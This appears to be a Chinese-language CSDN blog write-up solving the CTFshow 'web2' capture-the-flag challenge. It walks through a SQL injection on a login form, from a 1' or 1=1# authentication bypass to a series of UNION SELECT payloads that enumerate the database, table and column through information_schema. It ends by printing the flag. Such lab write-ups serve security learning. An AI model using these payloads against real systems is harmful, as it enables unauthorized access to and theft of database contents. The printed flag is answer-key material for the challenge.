CTF SHOW web2

本文描述了一次针对容器应用的SQL注入过程,从发现注入点开始,逐步利用联合查询获取数据库名、表名、字段名,最终获取敏感信息并展示了CTF旗标。
摘要由CSDN通过智能技术生成

打开容器发现就两个输入框,根据提示是sql注入题目,先尝试找注入点,在用户名输入框中,先用万能注入方式尝试。用1' or 1=1#登陆成功。

接着联合查询,直接爆出数据库。

1' or 1=1 union select 1,database(),3;#

数据库名为web2,接着报表。发现返回结果为2,说明有两个表。

1' or 1=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database(); # 

先看第一个表名,得到表名为flag。

​ 1' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3;# 

接着查看字段名,得到字段名为flag。

1' or 1=1 union select 1,(select column_name from information_schema.columns where table_name="flag"),3; #   

接着爆出字段值。

1' or 1=1 union select 1,(select flag from web2.flag),3;#

拿到flag。ctfshow{65e1afa7-d76b-4f73-b90a-0d7a3f353725}

  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值